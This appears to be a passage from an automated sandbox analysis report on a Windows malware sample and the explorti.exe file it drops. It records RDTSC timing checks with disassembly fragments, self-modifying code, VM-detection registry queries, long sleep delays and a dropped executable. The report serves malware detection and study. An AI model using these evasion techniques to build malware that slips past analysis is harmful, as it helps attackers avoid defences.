Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A909E4 second address: 4A909F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A909F3 second address: 4A90A10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A10 second address: 4A90A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B30E293BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A20 second address: 4A90A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007F9B30829937h 0x00000010 push dword ptr [ebp+14h] 0x00000013 jmp 00007F9B30829936h 0x00000018 push dword ptr [ebp+10h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A64 second address: 4A90A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A68 second address: 4A90A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A6C second address: 4A90A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A72 second address: 4A90A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A78 second address: 4A90A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90A92 second address: 4A90AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B3082992Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90AA3 second address: 4A90AE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007F9B30E293BEh 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9B30E293C7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90AE3 second address: 4A90B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9B3082992Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esp, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9B30829931h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90B0D second address: 4A90B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, A93Eh 0x00000011 mov esi, ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30FD1C second address: 30FD22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30FD22 second address: 30FD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0F1B second address: 4AA0F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 mov si, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ebx 0x00000011 push ecx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0F2F second address: 4AA0F58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9B30E293C0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0F58 second address: 4AA0F67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0F67 second address: 4AA0F6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0F6D second address: 4AA0FBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop esi 0x00000011 pushfd 0x00000012 jmp 00007F9B30829937h 0x00000017 or esi, 080452DEh 0x0000001d jmp 00007F9B30829939h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0CA4 second address: 4AA0CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov edi, ecx 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9B30E293C3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0CC4 second address: 4AA0CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0CCA second address: 4AA0D16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edi, eax 0x0000000d movzx ecx, dx 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 jmp 00007F9B30E293C5h 0x00000018 pop ebp 0x00000019 pushad 0x0000001a call 00007F9B30E293BCh 0x0000001f mov ah, 97h 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 mov ch, 25h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B10EC9 second address: 4B10F13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9B3082992Fh 0x00000009 xor cx, 7FBEh 0x0000000e jmp 00007F9B30829939h 0x00000013 popfd 0x00000014 movzx ecx, bx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F9B3082992Fh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B10F13 second address: 4B10F70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F9B30E293BBh 0x0000000b sub cl, 0000007Eh 0x0000000e jmp 00007F9B30E293C9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a jmp 00007F9B30E293BEh 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F9B30E293C7h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B1045E second address: 4B10484 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F9B30829932h 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 mov bh, cl 0x00000015 push eax 0x00000016 push edx 0x00000017 mov ah, dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B1025D second address: 4B10294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov esi, 22350FF1h 0x0000000d pushfd 0x0000000e jmp 00007F9B30E293BEh 0x00000013 xor ecx, 58D3AAC8h 0x00000019 jmp 00007F9B30E293BBh 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B10294 second address: 4B10298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B10298 second address: 4B1029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B1029C second address: 4B102A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB02CD second address: 4AB02F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F9B30E293BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB02F4 second address: 4AB0341 instructions: 0x00000000 rdtsc 0x00000002 mov si, 66B3h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007F9B30829939h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F9B3082992Eh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9B30829937h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B10644 second address: 4B1066B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9B30E293C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4B1066B second address: 4B106C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov dh, cl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F9B3082992Bh 0x00000012 push dword ptr [ebp+0Ch] 0x00000015 jmp 00007F9B30829936h 0x0000001a push dword ptr [ebp+08h] 0x0000001d jmp 00007F9B30829930h 0x00000022 push 57A775D9h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F9B3082992Ch 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0547 second address: 4AC05F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F9B30E293C2h 0x0000000f adc al, FFFFFFE8h 0x00000012 jmp 00007F9B30E293BBh 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F9B30E293C6h 0x0000001f push eax 0x00000020 jmp 00007F9B30E293BBh 0x00000025 xchg eax, ebp 0x00000026 pushad 0x00000027 mov ecx, 198BB3DBh 0x0000002c push esi 0x0000002d jmp 00007F9B30E293C7h 0x00000032 pop esi 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 jmp 00007F9B30E293BFh 0x0000003b push FFFFFFFEh 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 call 00007F9B30E293C2h 0x00000045 pop esi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC05F3 second address: 4AC065F instructions: 0x00000000 rdtsc 0x00000002 mov cx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F9B30829937h 0x0000000c mov ecx, 2519D85Fh 0x00000011 pop eax 0x00000012 popad 0x00000013 push 74ED2712h 0x00000018 jmp 00007F9B30829930h 0x0000001d xor dword ptr [esp], 0392E70Ah 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F9B3082992Dh 0x0000002d or al, 00000036h 0x00000030 jmp 00007F9B30829931h 0x00000035 popfd 0x00000036 mov si, CF27h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC065F second address: 4AC0685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 movzx eax, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 64D7D16Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9B30E293C3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0685 second address: 4AC06FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 129EDC96h 0x00000010 jmp 00007F9B3082992Eh 0x00000015 mov eax, dword ptr fs:[00000000h] 0x0000001b pushad 0x0000001c call 00007F9B3082992Eh 0x00000021 call 00007F9B30829932h 0x00000026 pop eax 0x00000027 pop edi 0x00000028 mov ax, 21B7h 0x0000002c popad 0x0000002d nop 0x0000002e jmp 00007F9B3082992Ah 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov ax, 4643h 0x0000003b mov ebx, esi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC06FB second address: 4AC0723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007F9B30E293BAh 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0723 second address: 4AC077F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9B3082992Bh 0x00000008 sbb ecx, 68E04B4Eh 0x0000000e jmp 00007F9B30829939h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov si, 6357h 0x0000001a popad 0x0000001b sub esp, 1Ch 0x0000001e jmp 00007F9B3082992Ah 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F9B30829937h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC077F second address: 4AC07D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9B30E293C1h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F9B30E293BEh 0x00000015 xchg eax, esi 0x00000016 jmp 00007F9B30E293C0h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop edx 0x00000021 mov bl, ch 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC07D7 second address: 4AC0862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829932h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F9B30829930h 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 movzx esi, di 0x00000014 pushfd 0x00000015 jmp 00007F9B30829933h 0x0000001a jmp 00007F9B30829933h 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 mov eax, ebx 0x00000025 pushad 0x00000026 call 00007F9B30829931h 0x0000002b pop eax 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f popad 0x00000030 xchg eax, edi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F9B30829938h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0862 second address: 4AC088C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ah 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [7781B370h] 0x0000000d jmp 00007F9B30E293BFh 0x00000012 xor dword ptr [ebp-08h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ebx, 7DE52136h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC088C second address: 4AC08FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 jmp 00007F9B30829934h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9B30829937h 0x00000016 sub ecx, 2EB71F1Eh 0x0000001c jmp 00007F9B30829939h 0x00000021 popfd 0x00000022 pushad 0x00000023 mov eax, 76CF033Dh 0x00000028 mov eax, 362D9639h 0x0000002d popad 0x0000002e popad 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F9B3082992Bh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC08FE second address: 4AC0904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0904 second address: 4AC0908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0908 second address: 4AC090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC090C second address: 4AC0920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, dx 0x0000000f mov bx, F5EAh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0920 second address: 4AC098C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov ax, B4FDh 0x0000000f pushfd 0x00000010 jmp 00007F9B30E293BAh 0x00000015 jmp 00007F9B30E293C5h 0x0000001a popfd 0x0000001b popad 0x0000001c lea eax, dword ptr [ebp-10h] 0x0000001f jmp 00007F9B30E293BEh 0x00000024 mov dword ptr fs:[00000000h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f jmp 00007F9B30E293C3h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC098C second address: 4AC09B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC09B4 second address: 4AC09BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC09BA second address: 4AC09BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC09BE second address: 4AC0A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+10h] 0x0000000e pushad 0x0000000f mov cl, 58h 0x00000011 mov dh, D4h 0x00000013 popad 0x00000014 test eax, eax 0x00000016 jmp 00007F9B30E293C2h 0x0000001b jne 00007F9BA3A886EBh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov edi, 4F0922A0h 0x00000029 call 00007F9B30E293C9h 0x0000002e pop ecx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0A18 second address: 4AC0A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b jmp 00007F9B30829931h 0x00000010 mov dword ptr [ebp-20h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov bx, 84DEh 0x0000001a movsx edi, si 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0A4B second address: 4AC0A90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [esi] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, ax 0x00000011 pushfd 0x00000012 jmp 00007F9B30E293C4h 0x00000017 and esi, 67173408h 0x0000001d jmp 00007F9B30E293BBh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0A90 second address: 4AC0A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0115 second address: 4AC011B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 35AD8E second address: 35ADA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829936h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Special instruction interceptor: First address: 14ECF0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Special instruction interceptor: First address: 303588 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Special instruction interceptor: First address: 32AAB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Special instruction interceptor: First address: 392DB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 1CECF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 383588 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 3AAAB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 412DB4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

Code function: 4_2_04B10576 rdtsc

4_2_04B10576

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1174	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1175	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1183	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7696	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7692	Thread sleep count: 1174 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7692	Thread sleep time: -2349174s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7632	Thread sleep count: 347 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7632	Thread sleep time: -10410000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7872	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7684	Thread sleep count: 1175 > 30	Jump to behavior
